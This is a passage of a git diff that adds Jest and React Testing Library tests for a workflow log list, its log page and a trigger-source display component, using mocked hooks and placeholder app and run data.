+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(<Logs appDetail={chatApp} />)
+
+      // Should render without trigger column
       expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
     })
+
+    it('should handle error state from useSWR', () => {
+      mockedUseSWR.mockReturnValue({
+        data: undefined,
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: new Error('Failed to fetch'),
+      })
+
+      const { container } = render(<Logs {...defaultProps} />)
+
+      // Should show loading state when data is undefined
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should handle app with different ID', () => {
+      mockedUseSWR.mockReturnValue({
+        data: createMockLogsResponse([], 0),
+        mutate: jest.fn(),
+        isValidating: false,
+        isLoading: false,
+        error: undefined,
+      })
+
+      const customApp = createMockApp({ id: 'custom-app-123' })
+
+      render(<Logs appDetail={customApp} />)
+
+      const keyArg = mockedUseSWR.mock.calls.at(-1)?.[0] as { url: string }
+      expect(keyArg?.url).toBe('/apps/custom-app-123/workflow-app-logs')
+    })
   })
 })
diff --git a/web/app/components/app/workflow-log/list.spec.tsx b/web/app/components/app/workflow-log/list.spec.tsx
new file mode 100644
index 0000000000..be54dbc2f3
--- /dev/null
+++ b/web/app/components/app/workflow-log/list.spec.tsx
@@ -0,0 +1,751 @@
+/**
+ * WorkflowAppLogList Component Tests
+ *
+ * Tests the workflow log list component which displays:
+ * - Table of workflow run logs with sortable columns
+ * - Status indicators (success, failed, stopped, running, partial-succeeded)
+ * - Trigger display for workflow apps
+ * - Drawer with run details
+ * - Loading states
+ */
+
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WorkflowAppLogList from './list'
+import { useStore as useAppStore } from '@/app/components/app/store'
+import type { App, AppIconType, AppModeEnum } from '@/types/app'
+import type { WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
+import { WorkflowRunTriggeredFrom } from '@/models/log'
+import { APP_PAGE_LIMIT } from '@/config'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+const mockRouterPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: mockRouterPush,
+  }),
+}))
+
+// Mock useTimestamp hook
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: (timestamp: number, _format: string) => `formatted-${timestamp}`,
+  }),
+}))
+
+// Mock useBreakpoints hook
+jest.mock('@/hooks/use-breakpoints', () => ({
+  __esModule: true,
+  default: () => 'pc', // Return desktop by default
+  MediaType: {
+    mobile: 'mobile',
+    pc: 'pc',
+  },
+}))
+
+// Mock the Run component
+jest.mock('@/app/components/workflow/run', () => ({
+  __esModule: true,
+  default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
+    <div data-testid="workflow-run">
+      <span data-testid="run-detail-url">{runDetailUrl}</span>
+      <span data-testid="tracing-list-url">{tracingListUrl}</span>
+    </div>
+  ),
+}))
+
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
+}))
+
+// Mock BlockIcon
+jest.mock('@/app/components/workflow/block-icon', () => ({
+  __esModule: true,
+  default: () => <div data-testid="block-icon">BlockIcon</div>,
+}))
+
+// Mock useTheme
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => {
+    const { Theme } = require('@/types/app')
+    return { theme: Theme.light }
+  },
+}))
+
+// Mock ahooks
+jest.mock('ahooks', () => ({
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockApp = (overrides: Partial<App> = {}): App => ({
+  id: 'test-app-id',
+  name: 'Test App',
+  description: 'Test app description',
+  author_name: 'Test Author',
+  icon_type: 'emoji' as AppIconType,
+  icon: '🚀',
+  icon_background: '#FFEAD5',
+  icon_url: null,
+  use_icon_as_answer_icon: false,
+  mode: 'workflow' as AppModeEnum,
+  enable_site: true,
+  enable_api: true,
+  api_rpm: 60,
+  api_rph: 3600,
+  is_demo: false,
+  model_config: {} as App['model_config'],
+  app_model_config: {} as App['app_model_config'],
+  created_at: Date.now(),
+  updated_at: Date.now(),
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
+  api_base_url: 'https://api.example.com',
+  tags: [],
+  access_mode: 'public_access' as App['access_mode'],
+  ...overrides,
+})
+
+const createMockWorkflowRun = (overrides: Partial<WorkflowRunDetail> = {}): WorkflowRunDetail => ({
+  id: 'run-1',
+  version: '1.0.0',
+  status: 'succeeded',
+  elapsed_time: 1.234,
+  total_tokens: 100,
+  total_price: 0.001,
+  currency: 'USD',
+  total_steps: 5,
+  finished_at: Date.now(),
+  triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
+  ...overrides,
+})
+
+const createMockWorkflowLog = (overrides: Partial<WorkflowAppLogDetail> = {}): WorkflowAppLogDetail => ({
+  id: 'log-1',
+  workflow_run: createMockWorkflowRun(),
+  created_from: 'web-app',
+  created_by_role: 'account',
+  created_by_account: {
+    id: 'account-1',
+    name: 'Test User',
+    email: 'test@example.com',
+  },
+  created_at: Date.now(),
+  ...overrides,
+})
+
+const createMockLogsResponse = (
+  data: WorkflowAppLogDetail[] = [],
+  total = data.length,
+): WorkflowLogsResponse => ({
+  data,
+  has_more: data.length < total,
+  limit: APP_PAGE_LIMIT,
+  total,
+  page: 1,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('WorkflowAppLogList', () => {
+  const defaultOnRefresh = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    useAppStore.setState({ appDetail: createMockApp() })
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render loading state when logs are undefined', () => {
+      const { container } = render(
+        <WorkflowAppLogList logs={undefined} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should render loading state when appDetail is undefined', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={undefined} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(container.querySelector('.spin-animation')).toBeInTheDocument()
+    })
+
+    it('should render table when data is available', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByRole('table')).toBeInTheDocument()
+    })
+
+    it('should render all table headers', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('appLog.table.header.startTime')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.status')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.runtime')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.tokens')).toBeInTheDocument()
+      expect(screen.getByText('appLog.table.header.user')).toBeInTheDocument()
+    })
+
+    it('should render trigger column for workflow apps', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+      const workflowApp = createMockApp({ mode: 'workflow' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={workflowApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('appLog.table.header.triggered_from')).toBeInTheDocument()
+    })
+
+    it('should not render trigger column for non-workflow apps', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Status Display Tests
+  // --------------------------------------------------------------------------
+  describe('Status Display', () => {
+    it('should render success status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'succeeded' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+    })
+
+    it('should render failure status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'failed' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Failure')).toBeInTheDocument()
+    })
+
+    it('should render stopped status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'stopped' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Stop')).toBeInTheDocument()
+    })
+
+    it('should render running status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'running' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Running')).toBeInTheDocument()
+    })
+
+    it('should render partial-succeeded status correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ status: 'partial-succeeded' as WorkflowRunDetail['status'] }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('Partial Success')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Info Display Tests
+  // --------------------------------------------------------------------------
+  describe('User Info Display', () => {
+    it('should display account name when created by account', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_account: { id: 'acc-1', name: 'John Doe', email: 'john@example.com' },
+          created_by_end_user: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('John Doe')).toBeInTheDocument()
+    })
+
+    it('should display end user session id when created by end user', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_end_user: { id: 'user-1', type: 'browser', is_anonymous: false, session_id: 'session-abc-123' },
+          created_by_account: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('session-abc-123')).toBeInTheDocument()
+    })
+
+    it('should display N/A when no user info', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          created_by_account: undefined,
+          created_by_end_user: undefined,
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('N/A')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Sorting Tests
+  // --------------------------------------------------------------------------
+  describe('Sorting', () => {
+    it('should sort logs in descending order by default', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+        createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const rows = screen.getAllByRole('row')
+      // First row is header, data rows start from index 1
+      // In descending order, newest (3000) should be first
+      expect(rows.length).toBe(4) // 1 header + 3 data rows
+    })
+
+    it('should toggle sort order when clicking on start time header', async () => {
+      const user = userEvent.setup()
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Click on the start time header to toggle sort
+      const startTimeHeader = screen.getByText('appLog.table.header.startTime')
+      await user.click(startTimeHeader)
+
+      // Arrow should rotate (indicated by class change)
+      // The sort icon should have rotate-180 class for ascending
+      const sortIcon = startTimeHeader.closest('div')?.querySelector('svg')
+      expect(sortIcon).toBeInTheDocument()
+    })
+
+    it('should render sort arrow icon', () => {
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Check for ArrowDownIcon presence
+      const sortArrow = container.querySelector('svg.ml-0\\.5')
+      expect(sortArrow).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Drawer Tests
+  // --------------------------------------------------------------------------
+  describe('Drawer', () => {
+    it('should open drawer when clicking on a log row', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-123' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          id: 'log-1',
+          workflow_run: createMockWorkflowRun({ id: 'run-456' }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1]) // Click first data row
+
+      const dialog = await screen.findByRole('dialog')
+      expect(dialog).toBeInTheDocument()
+      expect(screen.getByText('appLog.runDetail.workflowTitle')).toBeInTheDocument()
+    })
+
+    it('should close drawer and call onRefresh when closing', async () => {
+      const user = userEvent.setup()
+      const onRefresh = jest.fn()
+      useAppStore.setState({ appDetail: createMockApp() })
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={onRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Close drawer using Escape key
+      await user.keyboard('{Escape}')
+
+      await waitFor(() => {
+        expect(onRefresh).toHaveBeenCalled()
+        expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should highlight selected row', async () => {
+      const user = userEvent.setup()
+      const logs = createMockLogsResponse([createMockWorkflowLog()])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const dataRows = screen.getAllByRole('row')
+      const dataRow = dataRows[1]
+
+      // Before click - no highlight
+      expect(dataRow).not.toHaveClass('bg-background-default-hover')
+
+      // After click - has highlight (via currentLog state)
+      await user.click(dataRow)
+
+      // The row should have the selected class
+      expect(dataRow).toHaveClass('bg-background-default-hover')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Replay Functionality Tests
+  // --------------------------------------------------------------------------
+  describe('Replay Functionality', () => {
+    it('should allow replay when triggered from app-run', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-replay' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'run-to-replay',
+            triggered_from: WorkflowRunTriggeredFrom.APP_RUN,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should be present for app-run triggers
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      await user.click(replayButton)
+
+      expect(mockRouterPush).toHaveBeenCalledWith('/app/app-replay/workflow?replayRunId=run-to-replay')
+    })
+
+    it('should allow replay when triggered from debugging', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-debug' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'debug-run',
+            triggered_from: WorkflowRunTriggeredFrom.DEBUGGING,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should be present for debugging triggers
+      const replayButton = screen.getByRole('button', { name: 'appLog.runDetail.testWithParams' })
+      expect(replayButton).toBeInTheDocument()
+    })
+
+    it('should not show replay for webhook triggers', async () => {
+      const user = userEvent.setup()
+      useAppStore.setState({ appDetail: createMockApp({ id: 'app-webhook' }) })
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            id: 'webhook-run',
+            triggered_from: WorkflowRunTriggeredFrom.WEBHOOK,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Open drawer
+      const dataRows = screen.getAllByRole('row')
+      await user.click(dataRows[1])
+      await screen.findByRole('dialog')
+
+      // Replay button should not be present for webhook triggers
+      expect(screen.queryByRole('button', { name: 'appLog.runDetail.testWithParams' })).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Unread Indicator Tests
+  // --------------------------------------------------------------------------
+  describe('Unread Indicator', () => {
+    it('should show unread indicator for unread logs', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          read_at: undefined,
+        }),
+      ])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Unread indicator is a small blue dot
+      const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(unreadDot).toBeInTheDocument()
+    })
+
+    it('should not show unread indicator for read logs', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          read_at: Date.now(),
+        }),
+      ])
+
+      const { container } = render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      // No unread indicator
+      const unreadDot = container.querySelector('.bg-util-colors-blue-blue-500')
+      expect(unreadDot).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Runtime Display Tests
+  // --------------------------------------------------------------------------
+  describe('Runtime Display', () => {
+    it('should display elapsed time with 3 decimal places', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ elapsed_time: 1.23456 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('1.235s')).toBeInTheDocument()
+    })
+
+    it('should display 0 elapsed time with special styling', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ elapsed_time: 0 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const zeroTime = screen.getByText('0.000s')
+      expect(zeroTime).toBeInTheDocument()
+      expect(zeroTime).toHaveClass('text-text-quaternary')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Token Display Tests
+  // --------------------------------------------------------------------------
+  describe('Token Display', () => {
+    it('should display total tokens', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({ total_tokens: 12345 }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('12345')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Empty State Tests
+  // --------------------------------------------------------------------------
+  describe('Empty State', () => {
+    it('should render empty table when logs data is empty', () => {
+      const logs = createMockLogsResponse([])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const table = screen.getByRole('table')
+      expect(table).toBeInTheDocument()
+
+      // Should only have header row
+      const rows = screen.getAllByRole('row')
+      expect(rows).toHaveLength(1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle multiple logs correctly', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({ id: 'log-1', created_at: 1000 }),
+        createMockWorkflowLog({ id: 'log-2', created_at: 2000 }),
+        createMockWorkflowLog({ id: 'log-3', created_at: 3000 }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      const rows = screen.getAllByRole('row')
+      expect(rows).toHaveLength(4) // 1 header + 3 data rows
+    })
+
+    it('should handle logs with missing workflow_run data gracefully', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            elapsed_time: 0,
+            total_tokens: 0,
+          }),
+        }),
+      ])
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={createMockApp()} onRefresh={defaultOnRefresh} />,
+      )
+
+      expect(screen.getByText('0.000s')).toBeInTheDocument()
+      expect(screen.getByText('0')).toBeInTheDocument()
+    })
+
+    it('should handle null workflow_run.triggered_from for non-workflow apps', () => {
+      const logs = createMockLogsResponse([
+        createMockWorkflowLog({
+          workflow_run: createMockWorkflowRun({
+            triggered_from: undefined as any,
+          }),
+        }),
+      ])
+      const chatApp = createMockApp({ mode: 'advanced-chat' as AppModeEnum })
+
+      render(
+        <WorkflowAppLogList logs={logs} appDetail={chatApp} onRefresh={defaultOnRefresh} />,
+      )
+
+      // Should render without trigger column
+      expect(screen.queryByText('appLog.table.header.triggered_from')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/trigger-by-display.spec.tsx b/web/app/components/app/workflow-log/trigger-by-display.spec.tsx
new file mode 100644
index 0000000000..6e95fc2f35
--- /dev/null
+++ b/web/app/components/app/workflow-log/trigger-by-display.spec.tsx
@@ -0,0 +1,371 @@
+/**
+ * TriggerByDisplay Component Tests
+ *
+ * Tests the display of workflow trigger sources with appropriate icons and labels.
+ * Covers all trigger types: app-run, debugging, webhook, schedule, plugin, rag-pipeline.
+ */
+
+import { render, screen } from '@testing-library/react'
+import TriggerByDisplay from './trigger-by-display'
+import { WorkflowRunTriggeredFrom } from '@/models/log'
+import type { TriggerMetadata } from '@/models/log'
+import { Theme } from '@/types/app'
+
+// ============================================================================
+// Mocks
+// ============================================================================
+
+let mockTheme = Theme.light
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => ({ theme: mockTheme }),
+}))
+
+// Mock BlockIcon as it has complex dependencies
+jest.mock('@/app/components/workflow/block-icon', () => ({
+  __esModule: true,
+  default: ({ type, toolIcon }: { type: string; toolIcon?: string }) => (
+    <div data-testid="block-icon" data-type={type} data-tool-icon={toolIcon || ''}>
+      BlockIcon
+    </div>
+  ),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createTriggerMetadata = (overrides: Partial<TriggerMetadata> = {}): TriggerMetadata => ({
+  ...overrides,
+})
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('TriggerByDisplay', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockTheme = Theme.light
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should render icon container', () => {
+      const { container } = render(
+        <TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />,
+      )
+
+      // Should have icon container with flex layout
+      const iconContainer = container.querySelector('.flex.items-center.justify-center')
+      expect(iconContainer).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should apply custom className', () => {
+      const { container } = render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          className="custom-class"
+        />,
+      )
+
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('custom-class')
+    })
+
+    it('should show text by default (showText defaults to true)', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should hide text when showText is false', () => {
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN}
+          showText={false}
+        />,
+      )
+
+      expect(screen.queryByText('appLog.triggerBy.appRun')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Trigger Type Display Tests
+  // --------------------------------------------------------------------------
+  describe('Trigger Types', () => {
+    it('should display app-run trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.APP_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.appRun')).toBeInTheDocument()
+    })
+
+    it('should display debugging trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.DEBUGGING} />)
+
+      expect(screen.getByText('appLog.triggerBy.debugging')).toBeInTheDocument()
+    })
+
+    it('should display webhook trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.WEBHOOK} />)
+
+      expect(screen.getByText('appLog.triggerBy.webhook')).toBeInTheDocument()
+    })
+
+    it('should display schedule trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.SCHEDULE} />)
+
+      expect(screen.getByText('appLog.triggerBy.schedule')).toBeInTheDocument()
+    })
+
+    it('should display plugin trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN} />)
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should display rag-pipeline-run trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_RUN} />)
+
+      expect(screen.getByText('appLog.triggerBy.ragPipelineRun')).toBeInTheDocument()
+    })
+
+    it('should display rag-pipeline-debugging trigger correctly', () => {
+      render(<TriggerByDisplay triggeredFrom={WorkflowRunTriggeredFrom.RAG_PIPELINE_DEBUGGING} />)
+
+      expect(screen.getByText('appLog.triggerBy.ragPipelineDebugging')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Plugin Metadata Tests
+  // --------------------------------------------------------------------------
+  describe('Plugin Metadata', () => {
+    it('should display custom event name from plugin metadata', () => {
+      const metadata = createTriggerMetadata({ event_name: 'Custom Plugin Event' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      expect(screen.getByText('Custom Plugin Event')).toBeInTheDocument()
+    })
+
+    it('should fallback to default plugin text when no event_name', () => {
+      const metadata = createTriggerMetadata({})
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      expect(screen.getByText('appLog.triggerBy.plugin')).toBeInTheDocument()
+    })
+
+    it('should use plugin icon from metadata in light theme', () => {
+      mockTheme = Theme.light
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'light-icon.png')
+    })
+
+    it('should use dark plugin icon in dark theme', () => {
+      mockTheme = Theme.dark
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png', icon_dark: 'dark-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
+          triggerMetadata={metadata}
+        />,
+      )
+
+      const blockIcon = screen.getByTestId('block-icon')
+      expect(blockIcon).toHaveAttribute('data-tool-icon', 'dark-icon.png')
+    })
+
+    it('should fallback to light icon when dark icon not available in dark theme', () => {
+      mockTheme = Theme.dark
+      const metadata = createTriggerMetadata({ icon: 'light-icon.png' })
+
+      render(
+        <TriggerByDisplay
+          triggeredFrom={WorkflowRunTriggeredFrom.PLUGIN}
